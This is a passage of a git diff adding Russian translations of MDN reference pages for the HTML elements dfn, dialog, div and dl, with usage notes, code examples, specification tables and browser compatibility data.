+<p>Если <code>&lt;dfn&gt;</code> элемент имеет атрибут <code>title</code>, он <em>должен</em> содержать определяемый термин и никакой другой текст.</p>
+</div>
+
+<h3 id="Ссылки_на_&lt;dfn>_элементы">Ссылки на <code>&lt;dfn&gt;</code> элементы</h3>
+
+<p>Если вы включаете атрибут {{htmlattrxref("id")}} в <code>&lt;dfn&gt;</code> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он еще не знает его, нажав на ссылку термина.</p>
+
+<p>Это показано ниже в примере {{anch("Ссылки на определения")}}.</p>
+
+<h2 id="Примечания_по_использованию_2">Примечания по использованию</h2>
+
+<ul>
+ <li>Элемент <code>&lt;dfn&gt;</code> отмечает определяемый термин; определение термина должно быть дано окружающим {{HTMLElement("p")}},    {{HTMLElement("section")}} или группой списков определений (обычно пара {{HTMLElement("dt")}}{{HTMLElement("dd")}}).</li>
+ <li>Точное значение определяемого термина определяется следующими правилами:
+  <ol>
+   <li>Если элемент <code>&lt;dfn&gt;</code> имеет {{htmlattrxref("title")}} атрибут, то термин является значением этого атрибута.</li>
+   <li>Иначе, если он содержит только {{HTMLElement("abbr")}} элемент с {{htmlattrxref("title")}} атрибутом, тогда термин является значением этого атрибута. Это продемонстрировано в {{anch("Использование сокращений и определений вместе")}} ниже.</li>
+   <li>В противном случае текстовое содержимое <code>&lt;dfn&gt;</code> элемента является определяемым термином.</li>
+  </ol>
+ </li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Давайте рассмотрим несколько примеров различных сценариев использования.</p>
+
+<h3 id="Базовая_идентификация_термина">Базовая идентификация термина</h3>
+
+<p>В этом примере просто используется <code>&lt;dfn&gt;</code> элемент для нахождения местоположения термина в определении.<code>(&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;)</code></p>
+
+<h4 id="HTML">HTML</h4>
+
+<p> </p>
+
+<pre class="brush: html">&lt;p&gt;&lt;strong&gt;Элемент определения HTML&lt;/strong&gt; (&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;)
+используется для обозначения термина, определяемого в контексте фразы или предложения.&lt;/p&gt; </pre>
+
+<p> </p>
+
+<p>Поскольку <code>&lt;dfn&gt;</code> элемент не имеет <code>title</code>, текстовое содержимое самого <code>&lt;dfn&gt;</code> элемента используется в качестве определяемого термина.</p>
+
+<h4 id="Результат">Результат</h4>
+
+<p>Это выглядит так в вашем браузере:</p>
+
+<p>{{ EmbedLiveSample('Базовая_идентификация_термина', '', '', '', 'Web/HTML/Element/dfn') }}</p>
+
+<h3 id="Ссылки_на_определения">Ссылки на определения</h3>
+
+<p>Чтобы добавить ссылки к определениям, вы создаете ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. &lt;p&gt;&lt;strong&gt;Элемент определения HTML&lt;/strong&gt; <code>(&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;)</code> используется для обозначения термина, определяемого в контексте фразы или предложения. &lt;/p&gt;</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p> </p>
+
+<pre class="brush: html">&lt;p&gt;&lt;strong&gt;Элемент определения HTML&lt;/strong&gt; (&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;)
+используется для обозначения термина, определяемого в контексте фразы или предложения.&lt;/p&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Graece donan, Latine voluptatem
+vocant. Confecta res esset. Duo Reges: constructio interrete. Scrupulum, inquam, abeunti; &lt;/p&gt;
+
+&lt;p&gt;Negare non possum. Dat enim intervalla et relaxat. Quonam modo? Equidem e Cn. Quid de
+Pythagora? In schola desinis.&lt;/p&gt;
+
+&lt;p&gt;Ubi ut eam caperet aut quando? Cur iustitia laudatur? Aperiendum est igitur, quid sit
+voluptas; Quid enim? Non est igitur voluptas bonum. Urgent tamen et nihil remittunt. Quid
+enim possumus hoc agere divinius?&lt;/p&gt;
+
+&lt;p&gt;Из-за всего этого мы решили использовать
+элемент&lt;code&gt;&lt;a href="#definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/a&gt;&lt;/code&gt; для этого проекта.&lt;/p&gt;</pre>
+
+<p> </p>
+
+<p>Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} <code>«definition-dfn»</code>, который может использоваться в качестве цели для ссылки. Позднее создается ссылка с использованием<code> &lt;a&gt;</code> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на <code>«#definition-dfn»</code>, чтобы установить ссылку обратно на определение.</p>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>Полученный контент выглядит так:</p>
+
+<p>{{ EmbedLiveSample('HTML_2', '', '', '', 'Web/HTML/Element/dfn') }}</p>
+
+<h3 id="Использование_сокращений_и_определений_вместе">Использование сокращений и определений вместе</h3>
+
+<p>В некоторых случаях вы можете использовать сокращение для термина при его определении. Это можно сделать с помощью<code>&lt;dfn&gt;</code> и {{HTMLElement("abbr")}} элементов вместе, например так:</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;&lt;dfn&gt;&lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt;&lt;/dfn&gt; является одним из самых
+производительных научных инструментов, когда-либо созданных.
+Он находится на орбите более 20 лет, просматривая небо и отправляя данные и фотографии
+беспрецедентного качества и детализации.&lt;/p&gt;
+
+&lt;p&gt;Действительно, HST, возможно, &lt;abbr title="Hubble Space Telescope"&gt;&lt;/abbr&gt; сделал больше
+для развития науки, чем любое другое устройство, когда-либо созданное.&lt;/p&gt; </pre>
+
+<p>Обратите внимание на <code>&lt;abbr&gt;</code> элемент, вложенный в <code>&lt;dfn&gt;</code>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своем атрибуте <code>title</code>. Последнее указывает на то, что сокращенный термин представляет собой определяемый термин.</p>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>Вывод приведенного выше кода выглядит следующим образом:</p>
+
+<p>{{ EmbedLiveSample('HTML_3', '', '', '', 'Web/HTML/Element/dfn') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, <a href="https://github.com/mdn/browser-compat-data">просмотрите</a> https://github.com/mdn/browser-compat-data и отправьте нам pull-запрос.</div>
+
+<p>{{Compat("html.elements.dfn")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Элементы, связанные со списками определений: {{HTMLElement("dl")}}{{HTMLElement("dt")}}{{HTMLElement("dd")}}</li>
+ <li>{{HTMLElement("abbr")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html
new file mode 100644
index 0000000000..38ca0276b5
--- /dev/null
+++ b/files/ru/web/html/element/dialog/index.html
@@ -0,0 +1,251 @@
+---
+title: <dialog>
+slug: Web/HTML/Element/dialog
+tags:
+  - Element
+  - HTML
+  - HTML interactive elements
+  - Reference
+  - Web
+  - Диалог
+  - Экспериментальный
+  - Элемент
+translation_of: Web/HTML/Element/dialog
+---
+<div>{{SeeCompatTable}}</div>
+
+<p><strong>HTML-элемент <code>&lt;dialog&gt;</code> </strong>определяет диалоговое окно или другой интерактивный элемент, такой как инспектор или окно. Элементы <code>&lt;form&gt;</code> могут интегрироваться с диалогом с помощью указания атрибута <code>method="dialog"</code>. Когда отправляется такая форма, диалог закрывается с returnValue равным value нажатой кнопки submit.</p>
+
+<p>{{cssxref('::backdrop')}} CSS псевдо-элемент может быть использован для стилизации фона подложки элемента  <code>&lt;dialog&gt;, например для затемнения недоступного содержимого, пока диалог активен</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элементы</th>
+   <td>Любой элемент, в котором разрешен <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">основной поток</a></td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLDialogElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/ru/docs/Web/HTML/Общие_атрибуты">общие атрибуты</a>. Атрибут <code>tabindex</code> не должен использоваться с <code>&lt;dialog&gt;</code> элементом.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Этот атрибут сообщает о том, что диалог активен и доступен для взаимодействия. Когда атрибут open не установлен, диалог не должен быть видим для пользователя.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1">Пример 1</h3>
+
+<pre class="brush: html notranslate">&lt;dialog open&gt;
+  &lt;p&gt;Greetings, one and all!&lt;/p&gt;
+&lt;/dialog&gt;
+</pre>
+
+<h3 id="Пример_2">Пример 2</h3>
+
+<pre class="brush: html notranslate">&lt;!-- Простой попап диалог с формой --&gt;
+&lt;dialog id="favDialog"&gt;
+  &lt;form method="dialog"&gt;
+    &lt;section&gt;
+      &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+      &lt;select id="favAnimal"&gt;
+        &lt;option&gt;&lt;/option&gt;
+        &lt;option&gt;Brine shrimp&lt;/option&gt;
+        &lt;option&gt;Red panda&lt;/option&gt;
+        &lt;option&gt;Spider monkey&lt;/option&gt;
+      &lt;/select&gt;&lt;/p&gt;
+    &lt;/section&gt;
+    &lt;menu&gt;
+      &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+      &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+    &lt;/menu&gt;
+  &lt;/form&gt;
+&lt;/dialog&gt;
+
+&lt;menu&gt;
+  &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+&lt;/menu&gt;
+
+&lt;script&gt;
+  (function() {
+    var updateButton = document.getElementById('updateDetails');
+    var cancelButton = document.getElementById('cancel');
+    var favDialog = document.getElementById('favDialog');
+
+    // Update button opens a modal dialog
+    updateButton.addEventListener('click', function() {
+      favDialog.showModal();
+    });
+
+    // Form cancel button closes the dialog box
+    cancelButton.addEventListener('click', function() {
+      favDialog.close();
+    });
+
+  })();
+&lt;/script&gt;
+</pre>
+
+<pre class="notranslate"><code>&lt;!-- Простой попап диалог с формой --&gt;
+&lt;dialog id="favDialog"&gt;
+  &lt;form method="dialog"&gt;
+    &lt;section&gt;
+      &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+      &lt;select id="favAnimal"&gt;
+        &lt;option&gt;&lt;/option&gt;
+        &lt;option&gt;Brine shrimp&lt;/option&gt;
+        &lt;option&gt;Red panda&lt;/option&gt;
+        &lt;option&gt;Spider monkey&lt;/option&gt;
+      &lt;/select&gt;&lt;/p&gt;
+    &lt;/section&gt;
+    &lt;menu&gt;
+      &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+      &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+    &lt;/menu&gt;
+  &lt;/form&gt;
+&lt;/dialog&gt;
+
+&lt;menu&gt;
+  &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+&lt;/menu&gt;
+
+&lt;script&gt;
+  (function() {
+    var updateButton = document.getElementById('updateDetails');
+    var cancelButton = document.getElementById('cancel');
+    var favDialog = document.getElementById('favDialog');
+
+    // Update button opens a modal dialog
+    updateButton.addEventListener('click', function() {
+      favDialog.showModal();
+    });
+
+    // Form cancel button closes the dialog box
+    cancelButton.addEventListener('click', function() {
+      favDialog.close();
+    });
+
+  })();
+&lt;/script&gt;</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Anchor points</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Anchor points</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Смотри {{bug("840640")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Событие {{event("close")}}</li>
+ <li>Событие {{event("cancel")}}</li>
+ <li><a href="/ru/docs/Web/Guide/HTML/Forms">HTML forms guide</a>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/div/index.html b/files/ru/web/html/element/div/index.html
new file mode 100644
index 0000000000..27ca73a4ae
--- /dev/null
+++ b/files/ru/web/html/element/div/index.html
@@ -0,0 +1,148 @@
+---
+title: '<div>: Элемент разделения контента'
+slug: Web/HTML/Element/div
+tags:
+  - Element
+  - HTML
+  - Web
+  - div
+  - Веб
+  - Группировка контента
+  - Потоковый контент
+  - Разделение контента
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/div
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>Элемент разделения контента HTML</strong> (<code><strong>&lt;div&gt;</strong></code>) является универсальным контейнером для <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потокового контента</a>. Он не влияет на контент или макет до тех пор, пока не будет стилизован с помощью {{glossary("CSS")}}.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/div.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Являясь "чистым" контейнером, элемент <code>&lt;div&gt;</code>, по существу, не представляет ничего. Между тем, он используется для группировки контента, что позволяет легко его стилизовать, используя атрибуты {{htmlattrxref("class")}} или {{htmlattrxref("id")}}, помечать раздел документа, написанный на разных языках (используя атрибут {{htmlattrxref("lang")}}), и так далее.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a> или (в {{glossary("WHATWG")}} HTML), если родительским является элемент {{HTMLElement("dl")}}: один или несколько элементов {{HTMLElement("dt")}}, сопровождаемых одним или более элементами {{HTMLElement("dd")}}, в ряде случаев смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a> в качестве содержимого..<br>
+    Или (в {{glossary("WHATWG")}} HTML): элемент {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLDivElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<div class="blockIndicator note">
+ <p><strong>Заметка:</strong> Атрибут <code>align</code> устарел и вышел из употребления; не используйте его больше. Вместо этого, вам следует использовать свойства {{glossary("CSS")}} или методы, такие как <a href="/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> или <a href="/ru/docs/Learn/CSS/CSS_layout/Flexbox">CSS Flexbox</a> для выравнивания и изменения положения элементов <code>&lt;div&gt;</code> на странице.</p>
+</div>
+
+<h2 id="Примечание">Примечание</h2>
+
+<ul>
+ <li>Элемент <code>&lt;div&gt;</code> следует использовать только в том случае, если никакой другой семантический элемент (такой как {{HTMLElement("article")}} или {{HTMLElement("nav")}}) не подходит.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Любой тип контента. Например,
+  &amp;lt;p&amp;gt;, &amp;lt;table&amp;gt;. Все что угодно!&lt;/p&gt;
+&lt;/div&gt; </pre>
+
+<p>Результат будет выглядеть так:</p>
+
+<p>{{EmbedLiveSample("Простой_пример", 650, 60)}}</p>
+
+<h3 id="Стилизованный_пример">Стилизованный пример</h3>
+
+<p>Этот пример создаёт прямоугольник с тенью, применяя стили к  <code>&lt;div&gt;</code> с помощью CSS. Заметьте, что использование атрибута {{htmlattrxref("class")}} на элементе <code>&lt;div&gt;</code> даёт применение стилей <code>"shadowbox"</code> (в дословном переводе означает "теневая коробка") к элементу.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="shadowbox"&gt;
+  &lt;p&gt;Вот очень интересная заметка в прекрасном прямоугольнике с тенью.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.shadowbox {
+  width: 15em;
+  border: 1px solid #333;
+  box-shadow: 8px 8px 5px #444;
+  padding: 8px 12px;
+  background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Стилизованный_пример", 650, 120)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Атрибут <code>align</code> больше не поддерживается</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.div")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Семантические секционные элементы: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li>
+ <li>Элемент {{HTMLElement("span")}} для стилизации фразового контента.</li>
+</ul>
diff --git a/files/ru/web/html/element/dl/index.html b/files/ru/web/html/element/dl/index.html
new file mode 100644
index 0000000000..511138568f
--- /dev/null
+++ b/files/ru/web/html/element/dl/index.html
@@ -0,0 +1,223 @@
+---
+title: '<dl>: Элемент списка описаний'
+slug: Web/HTML/Element/dl
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+  - dl
+  - Веб
+  - Список определений
+  - Элемент
+  - списки
+translation_of: Web/HTML/Element/dl
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;dl&gt;</code></strong> (<em>от англ.</em> <em>Description List</em>) представляет собой список описаний. Этот элемент служит контейнером для списка пар терминов (определяемых элементом {{HTMLElement("dt")}}) и их описаний (определяемых элементами {{HTMLElement("dd")}}). Этот элемент обычно используют при создании глоссария или для отображения метаданных (списка пар ключ-значение).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dl.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, и если потомки элемента <code>&lt;dl&gt;</code> включают одну группу имя-значение явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td>Либо: Ноль или более групп каждая из которых состоит из одного или более элементов {{HTMLElement("dt")}} за которым следует один или более элементов {{HTMLElement("dd")}}, необязательно смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.<br>
+    Либо: Один или более элементов {{HTMLElement("div")}}, необязательно смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLDListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Для данного элемента доступны только </span><a href="/ru/docs/Web/HTML/Общие_атрибуты" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Одиночные_термин_и_определение">Одиночные термин и определение</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    A free, open source, cross-platform,
+    graphical web browser developed by the
+    Mozilla Corporation and hundreds of
+    volunteers.
+  &lt;/dd&gt;
+
+  &lt;!-- Other terms and descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Одиночные_термин_и_определение")}}</p>
+
+<h3 id="Множественные_термины_с_одним_определением">Множественные термины с одним определением</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dt&gt;Mozilla Firefox&lt;/dt&gt;
+  &lt;dt&gt;Fx&lt;/dt&gt;
+  &lt;dd&gt;
+    A free, open source, cross-platform,
+    graphical web browser developed by the
+    Mozilla Corporation and hundreds of
+    volunteers.
+  &lt;/dd&gt;
+
+  &lt;!-- Other terms and descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Множественные_термины_с_одним_определением")}}</p>
+
+<h3 id="Одиночный_термин_со_множественными_определениями">Одиночный термин со множественными определениями</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    A free, open source, cross-platform,
+    graphical web browser developed by the
+    Mozilla Corporation and hundreds of
+    volunteers.
+  &lt;/dd&gt;
+  &lt;dd&gt;
+    The Red Panda also known as the Lesser
+    Panda, Wah, Bear Cat or Firefox, is a
+    mostly herbivorous mammal, slightly larger
+    than a domestic cat (60 cm long).
+  &lt;/dd&gt;
+
+  &lt;!-- Other terms and descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Одиночный_термин_со_множественными_определениями")}}</p>
+
+<h3 id="Множественные_термины_и_определения">Множественные термины и определения</h3>
+
+<p>Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путем комбинирования приведенных выше примеров.</p>
+
+<h3 id="Метаданные">Метаданные</h3>
+
+<p>Список определений очень полезен для отображения метаданных, как список пар ключ-значение.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Name&lt;/dt&gt;
+  &lt;dd&gt;Godzilla&lt;/dd&gt;
+  &lt;dt&gt;Born&lt;/dt&gt;
+  &lt;dd&gt;1952&lt;/dd&gt;
+  &lt;dt&gt;Birthplace&lt;/dt&gt;
+  &lt;dd&gt;Japan&lt;/dd&gt;
+  &lt;dt&gt;Color&lt;/dt&gt;
+  &lt;dd&gt;Green&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Подсказка: Может быть полезно задать разделитель для пары ключ-значение при помощи CSS3, например:</p>
+
+<pre class="brush: css">dt:after {
+  content: ": ";
+}</pre>
+
+<h3 id="Оборачивание_групп_имя-значение_в_HTMLElementdiv_элементы">Оборачивание групп имя-значение в {{HTMLElement("div")}} элементы</h3>
+
+<p><a href="/ru/docs/Glossary/WHATWG">WHATWG</a> HTML разрешает оборачивать каждую группу имя-значение в элементе {{HTMLElement("dl")}} в элемент {{HTMLElement("div")}}. Это может быть полезно, когда используются <a href="/ru/docs/Web/HTML/Microdata">микроданные</a> или когда <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a> применяются к целой группе, или для стилевых целей.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Name&lt;/dt&gt;
+    &lt;dd&gt;Godzilla&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Born&lt;/dt&gt;
+    &lt;dd&gt;1952&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
